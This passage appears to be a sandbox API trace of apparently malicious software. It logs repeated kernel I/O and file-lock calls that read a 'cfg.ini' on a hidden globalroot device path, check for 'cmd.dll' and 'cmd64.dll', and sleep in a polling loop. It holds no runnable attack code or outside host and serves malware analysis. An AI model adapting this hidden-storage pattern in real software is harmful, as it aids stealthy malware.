[0125.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.155] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.155] IdePortDispatch () returned 0x103 [0125.155] KeWaitForMutexObject () returned 0x0 [0125.155] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.155] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.155] KeLeaveCriticalRegion () [0125.155] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.155] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.155] KeEnterCriticalRegion () [0125.155] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb1000 [0125.155] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.155] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.155] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.155] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.155] IdePortDispatch () returned 0x103 [0125.156] KeWaitForMutexObject () returned 0x0 [0125.156] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.156] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.156] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.156] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.156] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.156] IdePortDispatch () returned 0x103 [0125.156] KeWaitForMutexObject () returned 0x0 [0125.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.156] KeLeaveCriticalRegion () [0125.156] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.156] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.156] KeEnterCriticalRegion () [0125.156] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.156] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.156] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.156] KeLeaveCriticalRegion () [0125.156] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.157] KeEnterCriticalRegion () [0125.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.157] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.157] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5b00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.157] KeLeaveCriticalRegion () [0125.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.157] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.157] KeEnterCriticalRegion () [0125.157] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.157] ExFreePoolWithTag (P=0xfffffa8003bf5460, Tag=0x0) [0125.157] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.157] KeLeaveCriticalRegion () [0125.157] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.157] ReleaseMutex (hMutex=0xf0) returned 1 [0125.157] Sleep (dwMilliseconds=0x124f80) [0125.167] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.167] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.167] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.167] KeEnterCriticalRegion () [0125.167] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.167] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.168] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.168] IdePortDispatch () returned 0x103 [0125.168] KeWaitForMutexObject () returned 0x0 [0125.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.168] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.168] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.168] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.168] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.168] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf5940 [0125.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.168] KeLeaveCriticalRegion () [0125.168] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.168] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.168] KeEnterCriticalRegion () [0125.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.168] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.168] KeLeaveCriticalRegion () [0125.168] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.168] KeEnterCriticalRegion () [0125.168] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.168] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.168] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.168] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.168] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.168] IdePortDispatch () returned 0x103 [0125.168] KeWaitForMutexObject () returned 0x0 [0125.168] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.168] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.169] KeLeaveCriticalRegion () [0125.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.169] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.169] KeEnterCriticalRegion () [0125.169] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.169] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bb5000 [0125.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.169] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.169] IdePortDispatch () returned 0x103 [0125.169] KeWaitForMutexObject () returned 0x0 [0125.169] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.169] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.169] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.169] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.169] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.169] IdePortDispatch () returned 0x103 [0125.169] KeWaitForMutexObject () returned 0x0 [0125.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.169] KeLeaveCriticalRegion () [0125.169] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.170] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.170] KeEnterCriticalRegion () [0125.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] KeLeaveCriticalRegion () [0125.170] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.170] KeEnterCriticalRegion () [0125.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] KeLeaveCriticalRegion () [0125.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.170] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.170] KeEnterCriticalRegion () [0125.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] ExFreePoolWithTag (P=0xfffffa8003bf5940, Tag=0x0) [0125.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.170] KeLeaveCriticalRegion () [0125.170] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.170] ReleaseMutex (hMutex=0xf0) returned 1 [0125.170] Sleep (dwMilliseconds=0x124f80) [0125.184] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.184] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.185] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.185] KeEnterCriticalRegion () [0125.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.185] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.185] IdePortDispatch () returned 0x103 [0125.185] KeWaitForMutexObject () returned 0x0 [0125.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.185] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.185] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.185] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.185] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.185] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf41b0 [0125.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.185] KeLeaveCriticalRegion () [0125.185] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.185] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.185] KeEnterCriticalRegion () [0125.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.185] KeLeaveCriticalRegion () [0125.185] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.185] KeEnterCriticalRegion () [0125.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.185] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.185] IdePortDispatch () returned 0x103 [0125.186] KeWaitForMutexObject () returned 0x0 [0125.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.186] KeLeaveCriticalRegion () [0125.186] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.186] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.186] KeEnterCriticalRegion () [0125.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.186] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bba000 [0125.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.186] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.186] IdePortDispatch () returned 0x103 [0125.186] KeWaitForMutexObject () returned 0x0 [0125.186] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.186] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.186] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.186] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.186] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.186] IdePortDispatch () returned 0x103 [0125.186] KeWaitForMutexObject () returned 0x0 [0125.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.186] KeLeaveCriticalRegion () [0125.186] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.187] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.187] KeEnterCriticalRegion () [0125.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.187] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.187] KeLeaveCriticalRegion () [0125.187] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.187] KeEnterCriticalRegion () [0125.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.187] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0125.187] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf5800, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.187] KeLeaveCriticalRegion () [0125.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.187] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.187] KeEnterCriticalRegion () [0125.187] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.187] ExFreePoolWithTag (P=0xfffffa8003bf41b0, Tag=0x0) [0125.187] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.187] KeLeaveCriticalRegion () [0125.187] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.187] ReleaseMutex (hMutex=0xf0) returned 1 [0125.187] Sleep (dwMilliseconds=0x124f80) [0125.201] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.201] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.201] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.201] KeEnterCriticalRegion () [0125.201] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.201] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.201] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.201] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.201] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0125.201] IdePortDispatch () returned 0x103 [0125.201] KeWaitForMutexObject () returned 0x0 [0125.201] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.201] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.201] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.201] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.201] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.201] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6e10 [0125.201] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.201] KeLeaveCriticalRegion () [0125.201] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.201] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.201] KeEnterCriticalRegion () [0125.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.202] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0125.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.202] KeLeaveCriticalRegion () [0125.202] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.202] KeEnterCriticalRegion () [0125.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0125.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.202] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0125.202] IdePortDispatch () returned 0x103 [0125.202] KeWaitForMutexObject () returned 0x0 [0125.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.202] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.202] KeLeaveCriticalRegion () [0125.202] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.202] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.202] KeEnterCriticalRegion () [0125.202] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.202] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bbf000 [0125.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.202] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.202] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.202] IdePortDispatch () returned 0x103 [0125.202] KeWaitForMutexObject () returned 0x0 [0125.202] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.202] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0125.202] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0125.203] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.203] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0125.203] IdePortDispatch () returned 0x103 [0125.203] KeWaitForMutexObject () returned 0x0 [0125.203] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.203] KeLeaveCriticalRegion () [0125.203] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0125.203] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: 